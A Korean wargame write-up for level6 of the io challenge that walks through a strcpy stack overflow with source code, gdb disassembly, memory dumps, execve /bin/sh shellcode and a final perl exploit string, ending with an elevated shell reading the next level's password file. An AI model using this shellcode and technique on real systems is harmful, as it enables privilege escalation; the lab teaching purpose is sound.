level6 도 소스코드가 있더군요.
level6@io:/levels$ cat level6.c
#include<string.h>
// The devil is in the details - nnp
void copy_buffers(char *argv[])
{
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31); argv[1]은 buf2로 31만큼 복사
strncpy(buf3, argv[2], sizeof(buf3)); argv[2]는 buf3로 32만큼 복사
strcpy(buf1, buf3); buf3를 buf1으로 복사
}
int main(int argc, char *argv[])
{
copy_buffers(argv);
return 0;
}
buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때 32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.
라고 가정하였습니다; 확인해봅시다.
level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`
level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault
네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.
우선 copy_buffers 함수
gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>: push %ebp
0x08048395 <copy_buffers+1>: mov %esp,%ebp
0x08048397 <copy_buffers+3>: sub $0x78,%esp stack을 120만큼 확장
0x0804839a <copy_buffers+6>: mov 0x8(%ebp),%eax argv[0]을 eax로
0x0804839d <copy_buffers+9>: add $0x4,%eax eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>: mov (%eax),%eax eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>: movl $0x1f,0x8(%esp) 31을 esp+8로
0x080483aa <copy_buffers+22>: mov %eax,0x4(%esp) argv[1]을 esp+4로
0x080483ae <copy_buffers+26>: lea 0xffffffc0(%ebp),%eax ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>: mov %eax,(%esp) eax의 주소를 esp로
0x080483b4 <copy_buffers+32>: call 0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>: mov 0x8(%ebp),%eax
0x080483bc <copy_buffers+40>: add $0x8,%eax 인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>: mov (%eax),%eax
0x080483c1 <copy_buffers+45>: movl $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>: mov %eax,0x4(%esp)
0x080483cd <copy_buffers+57>: lea 0xffffffa0(%ebp),%eax ebp-96의 주소를 eax로 -> buf3
0x080483d0 <copy_buffers+60>: mov %eax,(%esp)
0x080483d3 <copy_buffers+63>: call 0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>: lea 0xffffffa0(%ebp),%eax
0x080483db <copy_buffers+71>: mov %eax,0x4(%esp) ebp-96을 esp+4 로
0x080483df <copy_buffers+75>: lea 0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>: mov %eax,(%esp) ebp-32를 esp로 ->buf1
0x080483e5 <copy_buffers+81>: call 0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>: leave
0x080483eb <copy_buffers+87>: ret
End of assembler dump.
argv
ret address
ebp
buf1 ---- ebp-32
buf2 ---- ebp-64
buf3 ---- ebp-96
스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)
buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>: leave 에breakpoint를 걸었습니다.
(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`
Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp 0xbfffdc80 0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80: 0xbfffdcd8 0xbfffdc98 0x00000020 0x00000000
0xbfffdc90: 0x00000000 0x00000000 0x90909090 0x90909090
0xbfffdca0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdcb0: 0x90909090 0x90909090 0x41414141 0x41414141
0xbfffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdcd0: 0x41414141 0x00414141 0x90909090 0x90909090
0xbfffdce0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdcf0: 0x90909090 0x90909090 0x41414141 0x41414141
0xbfffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffdd10: 0x41414141 0x00414141 0xbfffdd68 0x00d52ea8
0xbfffdd20: 0x00000003 0xbfffdd94 0xbfffdda4 0x00000000
0xbfffdd30: 0x00e6bff4 0x00000000 0x00ed9cc0 0xbfffdd68
0xbfffdd40: 0xbfffdd20 0x00d52e6d 0x00000000 0x00000000
0xbfffdd50: 0x00000000 0x00ecf090 0x00d52ded 0x00ed9ff4
...
buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address 는 0xbfffdcbc 입니다.
최종 공격코드 입니다.
"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`
level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`
/levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`
sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)
sh-3.1$ cat /home/level7/.pass
arg4sans----> qpapbi2w